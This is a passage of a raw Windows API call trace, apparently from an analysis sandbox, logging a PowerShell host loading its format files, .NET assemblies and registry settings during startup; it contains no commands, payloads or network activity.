lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.093] CoTaskMemFree (pv=0x1b7891c0) [0062.093] RegCloseKey (hKey=0x308) returned 0x0 [0062.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0062.098] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6f1b7f9b, Data2=0x5231, Data3=0x45f6, Data4=([0]=0x9b, [1]=0xfb, [2]=0x83, [3]=0x4a, [4]=0xb1, [5]=0x51, [6]=0xb9, [7]=0x0))) returned 0x0 [0062.106] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x3a829d70, Data2=0x491b, Data3=0x44d4, Data4=([0]=0x92, [1]=0x9f, [2]=0x27, [3]=0xb4, [4]=0xcf, [5]=0xf2, [6]=0xf4, [7]=0xe2))) returned 0x0 [0062.108] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xec61c9b, Data2=0x4c61, Data3=0x45b8, Data4=([0]=0x99, [1]=0x0, [2]=0x77, [3]=0xed, [4]=0x3f, [5]=0x99, [6]=0xc8, [7]=0x3c))) returned 0x0 [0062.109] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x65f7520d, Data2=0x3af2, Data3=0x47ea, Data4=([0]=0x98, [1]=0xfe, [2]=0x4, [3]=0x40, [4]=0x12, [5]=0x94, [6]=0x26, [7]=0x9))) returned 0x0 [0062.110] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7bca3c1a, Data2=0xa7c6, Data3=0x4cf8, Data4=([0]=0xae, [1]=0xf2, [2]=0x12, [3]=0xa6, [4]=0x69, [5]=0x2c, [6]=0x58, [7]=0xd7))) returned 0x0 [0062.110] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbd274ada, Data2=0xc07e, Data3=0x41f7, Data4=([0]=0xac, [1]=0x4c, [2]=0x59, [3]=0x4, [4]=0x8e, [5]=0xaa, [6]=0x2b, [7]=0xdb))) returned 0x0 [0062.110] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.110] SetErrorMode (uMode=0x1) returned 0x1 [0062.114] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.114] SetErrorMode (uMode=0x1) returned 0x1 [0062.114] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27cf60 | out: lpFileInformation=0x27cf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0062.114] SetErrorMode (uMode=0x1) returned 0x1 [0062.114] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.114] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.115] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.115] CoTaskMemAlloc (cb=0x5a) returned 0x1b7891c0 [0062.115] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b7891c0, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.115] CoTaskMemFree (pv=0x1b7891c0) [0062.115] RegCloseKey (hKey=0x308) returned 0x0 [0062.115] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.115] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0062.125] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.132] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0062.138] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.151] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.163] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0062.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0062.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0062.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0062.169] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0062.171] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0062.173] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0062.174] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0062.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0062.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0062.178] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0062.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0062.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0062.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c520, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.278] VirtualQuery (in: lpAddress=0x27bae0, lpBuffer=0x27c9a0, dwLength=0x30 | out: lpBuffer=0x27c9a0*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.279] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x5e0e39db, Data2=0x12f7, Data3=0x4b32, Data4=([0]=0xa2, [1]=0x29, [2]=0x67, [3]=0x62, [4]=0xad, [5]=0xe5, [6]=0xcb, [7]=0xf6))) returned 0x0 [0062.279] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc3556e76, Data2=0x2248, Data3=0x4788, Data4=([0]=0xa7, [1]=0x40, [2]=0xca, [3]=0xa7, [4]=0xb4, [5]=0x7c, [6]=0x5c, [7]=0x3b))) returned 0x0 [0062.279] VirtualQuery (in: lpAddress=0x27bc90, lpBuffer=0x27cb50, dwLength=0x30 | out: lpBuffer=0x27cb50*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.280] VirtualQuery (in: lpAddress=0x27bc90, lpBuffer=0x27cb50, dwLength=0x30 | out: lpBuffer=0x27cb50*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.281] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x54b35d8a, Data2=0x8ee2, Data3=0x470b, Data4=([0]=0xa5, [1]=0xd1, [2]=0x8d, [3]=0x1a, [4]=0x72, [5]=0xee, [6]=0x35, [7]=0xca))) returned 0x0 [0062.288] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd79e78a1, Data2=0x429a, Data3=0x4279, Data4=([0]=0xb4, [1]=0x8e, [2]=0xfe, [3]=0xc2, [4]=0xf8, [5]=0x71, [6]=0x4, [7]=0x5))) returned 0x0 [0062.288] VirtualQuery (in: lpAddress=0x27bee0, lpBuffer=0x27cda0, dwLength=0x30 | out: lpBuffer=0x27cda0*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.290] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4c31e116, Data2=0xa9f8, Data3=0x4ab0, Data4=([0]=0x87, [1]=0x21, [2]=0xc2, [3]=0xa2, [4]=0x5e, [5]=0xee, [6]=0xc2, [7]=0xc2))) returned 0x0 [0062.292] VirtualQuery (in: lpAddress=0x27b550, lpBuffer=0x27c410, dwLength=0x30 | out: lpBuffer=0x27c410*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0062.294] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb3e2e649, Data2=0x625, Data3=0x4948, Data4=([0]=0xa4, [1]=0xf1, [2]=0xc2, [3]=0xfb, [4]=0x3a, [5]=0x8c, [6]=0x65, [7]=0xca))) returned 0x0 [0062.295] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x3daf93a8, Data2=0x45d9, Data3=0x4a57, Data4=([0]=0xb1, [1]=0x64, [2]=0xe6, [3]=0x87, [4]=0xd2, [5]=0x97, [6]=0x23, [7]=0xa6))) returned 0x0 [0062.296] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27ca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.296] SetErrorMode (uMode=0x1) returned 0x1 [0062.298] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.298] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.298] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.299] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.299] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.299] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.299] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.299] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.300] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.301] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x1000, lpOverlapped=0x0) returned 1 [0062.301] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0xbce, lpOverlapped=0x0) returned 1 [0062.301] ReadFile (in: hFile=0x308, lpBuffer=0x3421e36, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3421e36*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.302] ReadFile (in: hFile=0x308, lpBuffer=0x3422700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27cfb8, lpOverlapped=0x0 | out: lpBuffer=0x3422700*, lpNumberOfBytesRead=0x27cfb8*=0x0, lpOverlapped=0x0) returned 1 [0062.302] CloseHandle (hObject=0x308) returned 1 [0062.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cd00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.302] SetErrorMode (uMode=0x1) returned 0x1 [0062.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27cf60 | out: lpFileInformation=0x27cf60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0062.302] SetErrorMode (uMode=0x1) returned 0x1 [0062.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.302] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.302] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.302] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.302] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.302] CoTaskMemFree (pv=0x1b789150) [0062.302] RegCloseKey (hKey=0x308) returned 0x0 [0062.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0062.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, 